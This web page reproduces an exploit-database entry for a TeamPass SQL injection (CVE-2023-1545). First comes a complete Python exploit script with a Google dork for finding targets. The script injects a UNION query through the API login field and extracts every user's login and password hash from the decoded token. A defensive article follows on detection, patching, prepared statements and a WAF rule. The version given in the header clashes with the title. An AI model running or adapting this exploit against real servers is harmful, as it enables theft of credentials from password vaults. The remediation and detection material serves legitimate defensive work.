TeamPass 3.0.0.21 - SQL Injection

Exploit Author: Max Meyer - Rivendell Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-03-22
# Exploit Title: TeamPass SQL Injection
# Google Dork: intitle:"Teampass" + inurl:index.php?page=items
# Date: 02/23/2025
# Exploit Author: Max Meyer - Rivendell
# Vendor Homepage: http://www.teampass.net
# Software Link: https://github.com/nilsteampassnet/TeamPass
# Version: 2.1.24 and prior
# Tested on: Windows/Linux
# CVE : CVE-2023-1545


#!/usr/bin/env python3
import sys
import json
import base64
import logging
import requests
from typing import Optional, Dict, Any
from dataclasses import dataclass

# Configuração de logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

@dataclass
class TeamPassExploit:
    base_url: str
    arbitrary_hash: str = '$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
    
    def __post_init__(self):
        self.vulnerable_url = f"{self.base_url}/api/index.php/authorize"
        
    def check_api_enabled(self) -> bool:
        """Verifica se a API está habilitada."""
        try:
            response = requests.get(self.vulnerable_url)
            if "API usage is not allowed" in response.text:
                logger.error("API feature is not enabled")
                return False
            return True
        except requests.RequestException as e:
            logger.error(f"Erro ao verificar API: {e}")
            return False

    def execute_sql(self, sql_query: str) -> Optional[str]:
        """Executa uma query SQL através da vulnerabilidade."""
        try:
            inject = f"none' UNION SELECT id, '{self.arbitrary_hash}', ({sql_query}), private_key, " \
                     "personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' " \
                     "FROM teampass_users WHERE login='admin"
            
            data = {
                "login": inject,
                "password": "h4ck3d",
                "apikey": "foo"
            }
            
            response = requests.post(
                self.vulnerable_url,
                headers={"Content-Type": "application/json"},
                json=data
            )
            
            if not response.ok:
                logger.error(f"Erro na requisição: {response.status_code}")
                return None
                
            token = response.json().get('token')
            if not token:
                logger.error("Token não encontrado na resposta")
                return None
                
            # Decodifica o token JWT
            token_parts = token.split('.')
            if len(token_parts) < 2:
                logger.error("Token JWT inválido")
                return None
                
            payload = base64.b64decode(token_parts[1] + '=' * (-len(token_parts[1]) % 4))
            return json.loads(payload).get('public_key')
            
        except Exception as e:
            logger.error(f"Erro ao executar SQL: {e}")
            return None

    def get_user_credentials(self) -> Optional[Dict[str, str]]:
        """Obtém credenciais de todos os usuários."""
        try:
            # Obtém número total de usuários
            user_count = self.execute_sql("SELECT COUNT(*) FROM teampass_users WHERE pw != ''")
            if not user_count or not user_count.isdigit():
                logger.error("Não foi possível obter o número de usuários")
                return None
                
            user_count = int(user_count)
            logger.info(f"Encontrados {user_count} usuários no sistema")
            
            credentials = {}
            for i in range(user_count):
                username = self.execute_sql(
                    f"SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )
                password = self.execute_sql(
                    f"SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT {i},1"
                )
                
                if username and password:
                    credentials[username] = password
                    logger.info(f"Credenciais obtidas para: {username}")
                
            return credentials
            
        except Exception as e:
            logger.error(f"Erro ao obter credenciais: {e}")
            return None

def main():
    if len(sys.argv) < 2:
        logger.error("Usage: python3 script.py <base-url>")
        sys.exit(1)
        
    exploit = TeamPassExploit(sys.argv[1])
    
    if not exploit.check_api_enabled():
        sys.exit(1)
        
    credentials = exploit.get_user_credentials()
    if credentials:
        print("\nCredenciais encontradas:")
        for username, password in credentials.items():
            print(f"{username}: {password}")

if __name__ == "__main__":
    main()


TeamPass SQL Injection (CVE-2023-1545) — Overview, Impact, and Safe Remediation

TeamPass has historically been a popular open-source password and secret management web application. Several deployments have been found vulnerable to SQL injection flaws (tracked as CVE-2023-1545 in public advisories). This article explains what this class of vulnerability means for TeamPass installations, how organisations can detect and mitigate risk safely, and secure coding patterns to prevent recurrence.

Quick summary

  • Vulnerability type: SQL Injection (authenticated/unprotected API endpoints)
  • Severity: High — can lead to data leakage, account compromise, or privilege escalation
  • Identifier: CVE-2023-1545 (publicly disclosed)
  • Affected: Older TeamPass releases (vendors’ advisories list affected series; always consult vendor advisory and upgrade to the vendor-published patch)
  • Remediation: Apply vendor patch, harden API endpoints, use parameterized queries and input validation, enable WAF and monitoring

How SQL injection affects TeamPass at a high level

SQL Injection (SQLi) occurs when untrusted input is used to build database queries without proper separation between code and data. In a web application such as TeamPass, a SQLi vulnerability in an API or page that constructs SQL from user-supplied parameters can allow an attacker to read or modify sensitive records (user credentials, secrets, configuration), bypass authentication, or obtain administrative tokens.

Typical impacts on TeamPass deployments

  • Exposure of stored secrets and credentials (direct data exfiltration)
  • Account compromise if password hashes or tokens are obtained
  • Complete application takeover if administrative credentials or configuration are modified
  • Lateral movement within the environment if secrets contain external service credentials

Safe detection and indicators of compromise (high level)

  • Unexpected or repeated API calls to endpoints that accept search/login parameters.
  • Requests containing SQL keywords (UNION, SELECT, --, /*) in query parameters or JSON fields — treat these as suspicious if found outside expected contexts.
  • Unusual JWTs or authentication tokens issued to non-existent users, or tokens with malformed payloads.
  • Database logs showing queries that include concatenated user input or repeated SELECT COUNT(*) and UNION constructs from web application accounts.
  • Spikes in read requests on sensitive tables (teampass_users, secrets) originating from web front-end service accounts.

Note: When investigating potential exploitation, always work on isolated copies of production data and maintain chain-of-custody. Do not attempt intrusive tests against systems you do not own or do not have explicit authorization to test.

Safe testing guidelines

  • Only test in an isolated lab environment using an up-to-date backup or a fresh install of TeamPass cloned from your environment, with explicit permission.
  • Prefer non-destructive detection: review logs, audit trails, and database slow-query logs rather than injecting payloads in production.
  • Use authenticated scans under scope and follow responsible disclosure if you discover vulnerabilities.

Immediate mitigations

  • Apply vendor-supplied patches immediately. The vendor advisory and upstream repository will list fixed releases and guidance.
  • Temporarily restrict public access to API endpoints (network-level controls, VPN only) while patches are being applied.
  • Enable a Web Application Firewall (WAF) with rules for SQLi and anomaly detection to reduce exposure.
  • Rotate secrets and administrative credentials if compromise is suspected.

Secure coding patterns to prevent SQL injection

The most effective defenses are input validation, strict separation of code and data (parameterized queries/prepared statements), least privilege for database accounts, and regular code and dependency reviews. Below are defensive examples in common stacks.

PHP (PDO) — parameterized query example

<?php
// Securely fetch a user by login using PDO and bound parameters
$pdo = new PDO('mysql:host=DB_HOST;dbname=teampass;charset=utf8mb4', DB_USER, DB_PASS, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);

$sql = 'SELECT id, login, pw, role FROM teampass_users WHERE login = :login AND pw != "" LIMIT 1';
$stmt = $pdo->prepare($sql);
$stmt->execute([':login' => $userInputLogin]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
?>

Explanation: This code uses PDO prepared statements and named parameters. The application never concatenates raw user input into the SQL string. The database driver handles escaping and typing, which prevents typical SQL injection payloads from altering query structure.

Node.js (mysql2) — prepared statement example

const mysql = require('mysql2/promise');
const pool = mysql.createPool({ host: 'DB_HOST', user: 'DB_USER', database: 'teampass', password: 'DB_PASS' });

async function getUser(login) {
  const [rows] = await pool.execute(
    'SELECT id, login, pw FROM teampass_users WHERE login = ? AND pw != "" LIMIT 1',
    [login]
  );
  return rows[0];
}

Explanation: The mysql2 library with execute() ensures the second parameter array is bound separately from the SQL string, preventing injection. This pattern should be applied everywhere user input is used in DB operations.

Example WAF rule (conceptual)

# Conceptual ModSecurity rule to flag suspicious SQL tokens in parameters (tune carefully)
SecRule ARGS|ARGS_NAMES "@rx (\bUNION\b|\bSELECT\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b|--|/\*)" \
 "id:100001,phase:2,deny,log,msg:'Potential SQLi attempt detected',severity:2"

Explanation: This is a high-level example showing how a WAF can catch obvious SQL keywords in input. Rules like this need tuning to reduce false positives and should not replace secure coding or patching.

Hardening configuration and operational controls

  • Use a database account with the minimum required privileges for the web application; do not run the app with DBA-level rights.
  • Limit management/API access to trusted networks or authenticated administrative channels (VPN, bastion host).
  • Keep TeamPass and all dependencies up to date; subscribe to vendor advisories and CVE feeds for timely updates.
  • Enable logging for web requests, authentication events, and database access; retain logs for forensic capability.
  • Rotate secrets and API keys periodically and after a suspected incident.

Incident response checklist (if you suspect exploitation)

Step Action
Containment Isolate the affected application, block suspicious IPs, restrict API access
Identification Collect logs, database query history, and web server access logs for the suspected time window
Eradication Apply vendor patches, change exposed credentials, revoke tokens
Recovery Restore from clean backups if necessary and validate application integrity
Post-incident Perform a root-cause analysis, update controls, and implement improved monitoring

Responsible disclosure and vendor coordination

If you discover a vulnerability in a TeamPass deployment or the upstream project, follow a responsible disclosure process: document your findings, contact the vendor or project maintainers privately, and provide them time to issue a patch before public disclosure. If you are responding to a discovered compromise, coordinate with legal and incident response teams and follow local laws and organizational policy.

Final recommendations (practical checklist)

  • Patch TeamPass to the vendor-recommended secure release immediately.
  • Audit database privileges and rotate secrets.
  • Harden API access (network controls, authentication, rate limits).
  • Adopt parameterized queries across the codebase and perform a secure-code review focused on data access patterns.
  • Deploy defensive layers (WAF, monitoring, logging) and run periodic penetration tests within scope.

Protecting applications like TeamPass requires both timely patching and strong development practices. Combining code-level defenses, prudent operational controls, and vigilant monitoring will significantly reduce the risk posed by SQL injection and similar vulnerabilities.